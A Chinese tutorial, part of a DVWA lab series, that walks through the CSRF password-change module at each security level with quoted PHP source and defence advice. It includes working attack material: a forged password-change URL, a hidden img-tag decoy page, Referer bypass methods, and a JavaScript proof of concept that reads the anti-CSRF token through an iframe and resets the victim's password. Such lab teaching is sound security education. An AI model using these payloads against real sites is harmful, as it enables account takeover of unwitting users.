摘要:本文是《DVWA从入门到精通》系列的第四篇,带你全面掌握CSRF(Cross-Site Request Forgery,跨站请求伪造)模块的攻防全流程。从CSRF的核心原理出发,逐步讲解Low、Medium、High三个级别的攻击手法与源码分析,并深入探讨Impossible级别的终极防御方案。文章包含恶意链接构造、Referer绕过、Token窃取等高阶技术,以及验证码、二次确认等实战防御策略,让你真正做到"知其然更知其所以然"。
一、什么是CSRF?
1.1 CSRF的核心原理
CSRF(Cross-Site Request Forgery),中文全称是跨站请求伪造,是一种通过伪装成受信任用户请求来利用受信任网站的攻击方式。
用一个生活化的例子来理解:
假设你正在银行网站上登录着,这时候你收到一封邮件,里面有一个链接,写着"点击领取100元优惠券"。你好奇地点开了------然而这个链接其实是攻击者精心构造的转账请求:www.bank.com/transfer?to=attacker&amount=10000。
关键问题来了:因为你浏览器里还保存着银行的登录Cookie,所以银行服务器收到这个请求后,会认为这就是你本人发起的转账操作,于是乖乖地把钱转走了。而你,完全不知情。
从技术角度来看:
CSRF攻击利用的是Web应用对用户浏览器的信任机制 。浏览器在发送请求时会自动携带目标网站的Cookie等身份验证信息。攻击者正是利用这一特性,诱导用户在已登录状态下访问恶意页面,从而在用户不知情的情况下以受害者身份执行非预期的操作。
1.2 CSRF与XSS的区别
很多初学者容易混淆CSRF和XSS,这里做一个清晰对比:
| 对比维度 | CSRF(跨站请求伪造) | XSS(跨站脚本攻击) |
|---|---|---|
| 攻击本质 | 利用用户的登录态发起恶意请求 | 在页面中注入恶意脚本 |
| 信任关系 | 利用网站对用户浏览器的信任 | 利用用户对网站的信任 |
| 是否需要用户点击 | 通常需要(诱导点击链接或访问页面) | 不需要(脚本自动执行) |
| 攻击目标 | 执行特定操作(改密码、转账等) | 窃取信息、劫持会话等 |
| 防御重点 | 验证请求来源、Token机制 | 输入过滤、输出编码 |
简单来说:XSS是往网页里"种病毒",CSRF是"借你的手"去干坏事。
1.3 CSRF的危害
CSRF的危害程度取决于被攻击的功能点:
| 危害场景 | 具体表现 |
|---|---|
| 修改密码 | 攻击者将用户密码改为自己的密码,完全控制账户 |
| 转账/支付 | 在金融类应用中直接造成经济损失 |
| 发表内容 | 在社交平台以用户身份发布恶意信息 |
| 修改邮箱 | 将用户绑定的邮箱改为攻击者的邮箱,用于密码重置 |
| 删除数据 | 删除用户的重要数据或整个账户 |
二、准备工作
2.1 靶场环境
确保DVWA已部署并正常运行:
-
访问地址:
http://你的服务器IP/dvwa/login.php -
使用
admin/password登录
2.2 必备工具
| 工具 | 用途 |
|---|---|
| 浏览器(Chrome/Firefox) | 访问靶场,F12开发者工具观察请求 |
| Burp Suite | 抓包分析请求参数,构造恶意请求 |
| Python HTTP服务器 | python3 -m http.server 8000 快速托管恶意页面 |
2.3 基础知识储备
-
理解Cookie的自动发送机制
-
了解Referer头的含义
-
熟悉GET和POST请求的区别
三、Low级别:毫无防护的"裸奔"状态
3.1 安全级别设置
将DVWA Security设置为 Low 级别,然后进入 CSRF 模块。

3.2 界面观察
CSRF模块的界面非常简单------一个修改密码的页面,只有两个输入框:
-
New password(新密码)
-
Confirm new password(确认新密码)

注意 :这里没有要求输入当前密码!这意味着任何人只要能访问到这个页面,就能修改密码。
3.3 源码分析
点击页面底部的 "View Source" 按钮,查看Low级别的核心代码:
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这段代码存在以下致命缺陷:
| 缺陷 | 说明 |
|---|---|
| 无CSRF Token | 没有任何防跨站请求的令牌验证 |
| 无Referer检查 | 不验证请求来源是否合法 |
| 无旧密码验证 | 不需要输入当前密码即可修改密码 |
| 使用GET方法 | 敏感操作使用GET请求,攻击者只需构造URL即可触发 |
| 存在SQL注入风险 | 虽然使用了 mysqli_real_escape_string,但变量拼接本身仍不安全 |
3.4 攻击方法:构造恶意链接
由于Low级别使用GET方法处理密码修改,攻击者只需要构造一个包含恶意参数的URL即可。
第一步:观察正常请求
在CSRF页面输入新密码 123456,确认密码 123456,点击提交。观察浏览器地址栏:

可以看到,密码通过URL参数明文传递。
第二步:构造恶意链接
将上面的URL复制下来,修改密码参数为你想要的密码:
php
http://靶机IP/dvwa/vulnerabilities/csrf/?password_new=hacker123&password_conf=hacker123&Change=Change
第三步:发起攻击
将这个链接发给已登录DVWA的受害者(可以通过邮件、聊天工具等),诱导其点击。
受害者点击后,浏览器会自动发送GET请求,密码被修改为 hacker123。
3.5 更隐蔽的攻击方式:图片标签
直接发链接太明显了,攻击者通常会使用更隐蔽的方式------通过 <img> 标签自动触发请求。
创建一个恶意HTML页面(比如 attack.html):
php
<html>
<body>
<img src="http://靶机IP/dvwa/vulnerabilities/csrf/?password_new=hacker123&password_conf=hacker123&Change=Change"
width="0" height="0" />
<h1>恭喜您中奖了!请领取您的奖品!</h1>
</body>
</html>
当受害者访问这个页面时,浏览器会自动加载 <img> 标签中的图片------实际上是在发送一个GET请求修改密码。而受害者看到的只是一个"中奖页面",完全不知情。
3.6 Low级别总结
| 缺陷 | 说明 |
|---|---|
| 无CSRF Token | 没有任何防跨站请求的令牌验证 |
| 无Referer检查 | 不验证请求来源 |
| 无旧密码验证 | 不需要当前密码即可修改 |
| 使用GET方法 | 敏感操作用GET,攻击门槛极低 |
四、Medium级别:Referer检查的"第一道防线"
4.1 安全级别设置
将DVWA Security切换为 Medium 级别。
4.2 观察变化
在Medium级别下,尝试用Low级别的攻击方法(直接访问构造好的URL),会发现攻击失效了------页面会提示错误或拒绝执行。

4.3 源码分析
查看Medium级别的核心代码:
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
Medium级别的变化:
-
增加了Referer检查 :使用
stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME'])检查请求来源是否包含当前服务器名称 -
Referer验证逻辑 :只有当HTTP请求头中的
Referer字段包含服务器名称(如127.0.0.1或localhost)时,才执行密码修改操作
4.4 Referer机制的原理
根据HTTP协议,HTTP头中有一个叫 Referer 的字段,它记录了该HTTP请求的来源地址。
比如,用户从 http://bank.example/index.html 页面点击按钮发起转账请求,那么这个转账请求的 Referer 值就是 http://bank.example/index.html。
防御CSRF的思路是:只接受来自本站域名(或指定域名)的请求,拒绝来自其他网站的请求。
在DVWA的Medium级别中,管理员通过本地地址 127.0.0.1 访问密码修改页面,因此代码要求所有修改密码请求的 Referer 必须包含 127.0.0.1。
4.5 Referer防御的局限性
Referer检查看起来不错,但存在以下问题:
| 问题 | 说明 |
|---|---|
| Referer可以被伪造 | 某些浏览器或工具可以篡改Referer值 |
| 有些浏览器不发送Referer | 隐私设置或代理可能导致Referer缺失,合法请求被误判 |
| 存在绕过方法 | 攻击者可以将恶意页面部署在目标服务器上,或利用URL跳转 |
4.6 攻击方法:绕过Referer检查
方法一:将恶意页面部署在目标服务器上
既然服务器要求 Referer 必须包含 127.0.0.1,那么攻击者可以将恶意HTML页面直接上传到目标服务器上 (比如通过文件上传漏洞),然后诱导用户访问这个页面。这样,请求的 Referer 就变成了 127.0.0.1,顺利通过检查。
方法二:利用URL跳转/重定向
如果目标网站存在URL重定向漏洞,攻击者可以构造一个从目标网站跳转到恶意页面的链接,使得 Referer 仍然是目标网站的域名。
方法三:使用Burp Suite修改Referer
在Burp Suite中拦截请求,手动添加 Referer 头,然后发送请求。

4.7 Medium级别总结
| 改进 | 局限性 |
|---|---|
| 增加了Referer检查 | Referer可以被伪造或缺失 |
| 拒绝非本站来源的请求 | 仍使用GET方法,仍无Token验证 |
| 有一定防护效果 | 防护强度有限,容易被绕过 |
五、High级别:Token机制的"动态防线"
5.1 安全级别设置
将DVWA Security切换为 High 级别。
5.2 观察变化
在High级别下,抓取修改密码的请求,会发现数据包中多了一个参数 ------user_token。

同时,查看页面源代码,会发现表单中有一个隐藏字段:
php
<input type="hidden" name="user_token" value="随机生成的Token值" />
5.3 源码分析
查看High级别的核心代码:
php
<?php
$change = false;
$request_type = "html";
$return_message = "Request Failed";
if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
$data = json_decode(file_get_contents('php://input'), true);
$request_type = "json";
if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
array_key_exists("password_new", $data) &&
array_key_exists("password_conf", $data) &&
array_key_exists("Change", $data)) {
$token = $_SERVER['HTTP_USER_TOKEN'];
$pass_new = $data["password_new"];
$pass_conf = $data["password_conf"];
$change = true;
}
} else {
if (array_key_exists("user_token", $_REQUEST) &&
array_key_exists("password_new", $_REQUEST) &&
array_key_exists("password_conf", $_REQUEST) &&
array_key_exists("Change", $_REQUEST)) {
$token = $_REQUEST["user_token"];
$pass_new = $_REQUEST["password_new"];
$pass_conf = $_REQUEST["password_conf"];
$change = true;
}
}
if ($change) {
// Check Anti-CSRF token
checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
$pass_new = md5( $pass_new );
// Update the database
$current_user = dvwaCurrentUser();
$insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert );
// Feedback for the user
$return_message = "Password Changed.";
}
else {
// Issue with passwords matching
$return_message = "Passwords did not match.";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
if ($request_type == "json") {
generateSessionToken();
header ("Content-Type: application/json");
print json_encode (array("Message" =>$return_message));
exit;
} else {
echo "<pre>" . $return_message . "</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
High级别的核心变化:
-
增加了Token验证 :使用
checkToken()函数验证请求中的user_token是否与会话中的session_token一致 -
Token动态刷新 :每次请求后调用
generateSessionToken()生成新的Token,每个Token只能使用一次 -
移除了Referer检查:High级别不再依赖Referer,而是使用更可靠的Token机制
5.4 Token机制的原理
Token机制是目前最可靠的CSRF防护方案之一。其核心流程如下:
-
服务器生成Token :用户打开密码修改页面时,服务器生成一个唯一的、随机的Token,存储在Session中,同时输出到页面的隐藏字段中
-
客户端提交Token:用户提交修改密码请求时,必须同时提交这个Token
-
服务器验证Token:服务器比对提交的Token与Session中的Token是否一致
-
Token刷新:验证通过后,服务器立即生成新的Token
为什么Token能防御CSRF?
攻击者虽然可以构造恶意请求,但无法获取当前用户的有效Token------因为Token存储在用户浏览器当前页面的DOM中,跨域无法读取。没有有效的Token,服务器就会拒绝请求。
5.5 攻击方法:窃取Token
High级别的Token机制确实大大增加了攻击难度,但并非无懈可击 。攻击者可以通过XSS漏洞配合CSRF来窃取Token。
攻击思路:
-
在目标网站上找到一个XSS漏洞(如DVWA的存储型XSS模块)
-
利用XSS注入恶意JavaScript代码
-
恶意代码读取页面中的
user_token值 -
将Token发送给攻击者,或直接在客户端构造包含Token的恶意请求
攻击代码示例:
php
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
</head>
<body>
<script>
window.onload = function() {
console.log("页面加载完成,开始创建iframe");
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'http://10.0.0.149/vulnerabilities/csrf/index.php';
document.body.appendChild(iframe);
iframe.onload = function() {
console.log("iframe加载完毕");
var iframeDoc = iframe.contentDocument || iframe.contentWindow.document;
console.log("iframe文档对象:", iframeDoc);
var csrfTokenInput = iframeDoc.querySelector('input[name="user_token"]');
console.log("Token输入框元素:", csrfTokenInput);
if (csrfTokenInput) {
var csrfToken = csrfTokenInput.value;
console.log("成功获取Token:", csrfToken);
var url = 'http://10.0.0.149/vulnerabilities/csrf/index.php';
url += '?password_new=hacker123';
url += '&password_conf=hacker123';
url += '&Change=Change';
url += '&user_token=' + encodeURIComponent(csrfToken);
console.log("构造攻击URL:", url);
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.onload = function(){
// 只打印成功提示,不输出完整HTML页面
console.log("改密请求发送完成");
}
xhr.onerror = function(){
console.log("XHR请求失败");
}
xhr.send();
console.log("XHR请求已发出");
}else{
console.log("未找到user_token输入框!iframe里不是CSRF页面(大概率跳转到登录页)");
}
};
};
</script>
</body>
</html>
这个攻击脚本的工作流程是:
-
创建一个隐藏的
iframe加载目标CSRF页面 -
从
iframe中提取user_token的值 -
构造包含Token的完整请求URL
-
使用
XMLHttpRequest发送请求

**注意:**代码文件要放在同一服务器上执行。
5.6 High级别总结
| 防御机制 | 作用 | 潜在风险 |
|---|---|---|
| 动态Token | 防止跨站请求,每个Token仅用一次 | 若存在XSS漏洞,Token可被窃取 |
| Token刷新机制 | 用完即废,增强安全性 | 需要配合其他防护手段 |
| 无Referer依赖 | 避免Referer被伪造的问题 | 仍需防范XSS+CSRF的组合攻击 |
六、Impossible级别:终极防御方案
6.1 安全级别设置
将DVWA Security切换为 Impossible 级别。
6.2 观察变化
进入Impossible级别的CSRF页面,你会发现多了一个输入框 ------Current password(当前密码)。
现在修改密码需要输入三个字段:
-
Current password(当前密码)
-
New password(新密码)
-
Confirm new password(确认新密码)

6.3 源码分析
查看Impossible级别的核心代码:
php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$current_user = dvwaCurrentUser();
$data->bindParam( ':user', $current_user, PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
6.4 Impossible级别的三重防御体系
Impossible级别构建了三道防线,彻底杜绝了CSRF攻击的可能性:
第一层:CSRF Token验证
保留了High级别的Token机制,每个请求都必须携带有效的动态Token。
第二层:当前密码验证(核心防御)
这是最关键 的防御层。用户修改密码时,必须输入当前密码。
攻击者构造恶意请求时,不知道用户的当前密码,因此无法通过验证。即使Token被窃取,没有当前密码也无法完成攻击。
php
// 查询数据库,验证当前密码是否正确
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
第三层:PDO预处理(防SQL注入)
使用PDO预处理语句 (Prepared Statements)执行数据库查询,SQL指令模板和数据是分开发送的,彻底杜绝了SQL注入的可能性。
6.5 为什么Impossible级别无法被CSRF攻击?
要成功实施CSRF攻击,攻击者需要同时满足以下条件:
| 条件 | Impossible级别的防护 | 攻击者能否达成 |
|---|---|---|
| 获取有效的CSRF Token | Token验证 | ❌ 跨域无法获取 |
| 知道用户的当前密码 | 必须输入当前密码 | ❌ 不知道 |
| 通过SQL注入获取密码 | PDO预处理 | ❌ 无法注入 |
三重防护叠加 ,使得CSRF攻击在Impossible级别下完全不可行。
6.6 Impossible级别总结
| 防御层 | 技术手段 | 作用 |
|---|---|---|
| 第一层 | CSRF Token验证 | 防止跨站请求伪造 |
| 第二层 | 当前密码验证 | 即使Token被窃取也无法改密 |
| 第三层 | PDO预处理语句 | 防止SQL注入窃取密码 |
七、防御CSRF的最佳实践
通过DVWA四个级别的对比,我们可以总结出防御CSRF的最佳实践:
7.1 必须实施的防御措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| Anti-CSRF Token | 每个敏感操作生成唯一的随机Token,服务端验证 | ⭐⭐⭐⭐⭐ |
| 当前密码验证 | 修改密码、转账等关键操作要求输入当前密码 | ⭐⭐⭐⭐⭐ |
| 验证码 | 在关键操作前要求输入验证码 | ⭐⭐⭐⭐⭐ |
| 使用POST方法 | 敏感操作使用POST而非GET | ⭐⭐⭐⭐ |
7.2 推荐的辅助措施
| 措施 | 说明 | 优先级 |
|---|---|---|
| Referer检查 | 验证请求来源,但不可作为唯一防护 | ⭐⭐⭐ |
| SameSite Cookie属性 | 设置Cookie的SameSite属性为Strict或Lax | ⭐⭐⭐ |
| 二次确认 | 弹出确认对话框,让用户二次确认操作 | ⭐⭐⭐ |
| 操作日志 | 记录所有敏感操作,便于事后审计 | ⭐⭐ |
7.3 常见误区
在实际开发中,以下做法不能有效防御CSRF:
-
❌ 仅使用Referer检查:Referer可以被伪造或缺失
-
❌ 仅使用验证码:验证码可能被破解或绕过
-
❌ 仅使用POST方法:POST请求同样可以被伪造(通过表单自动提交)
-
❌ 依赖前端验证:攻击者可以绕过前端直接发请求
八、CSRF的实战检测思路
在实际的渗透测试中,如何快速发现CSRF漏洞?
8.1 检测步骤
识别敏感操作:找到修改密码、转账、修改邮箱等关键功能点
观察请求方式:查看是GET还是POST,参数如何传递
检查防护措施:
-
是否有Token参数?
-
是否有Referer检查?
-
是否需要二次验证(当前密码、验证码等)?
尝试构造请求:在无Token的情况下发送请求,观察是否成功
验证漏洞:使用不同浏览器或清除Cookie后测试
8.2 常见绕过技巧
| 场景 | 绕过方法 |
|---|---|
| Referer检查 | 将恶意页面部署在目标域名下,或利用URL跳转 |
| Token验证 | 配合XSS漏洞窃取Token |
| 验证码 | 使用打码平台或寻找验证码复用漏洞 |
| 双重验证 | 难以绕过,需要寻找逻辑漏洞 |
九、总结
本文围绕CSRF跨站请求伪造漏洞展开完整学习,我们掌握其核心原理:攻击者借助浏览器自动携带站点Cookie的特性,诱导登录用户执行非自愿操作,同时分清CSRF信任浏览器、XSS信任用户的核心差异;逐级实操分析DVWA四种安全等级,Low级采用GET传参,可构造恶意链接、img标签自动触发伪造请求,Medium级依靠Referer字段校验来源域名,但该请求头存在伪造、缺失的绕过缺陷,High级引入动态Token校验请求合法性,仅能借助XSS漏洞窃取Token完成攻击,Impossible级结合动态Token、原密码二次校验、PDO预处理实现全方位防护;同时整理出Anti-CSRF Token、关键操作密码验证、验证码、SameSite Cookie等主流防御方案。CSRF漏洞的本质是Web服务无法辨别请求是否由用户主动发起,借助DVWA的CSRF模块我们同时掌握漏洞攻击手段与防护逻辑,在真实业务环境中搭配Anti-CSRF Token与修改密码等高危操作二次校验的防护组合,就能从根源上有效抵御CSRF攻击。
**重要声明:**本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享 ,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。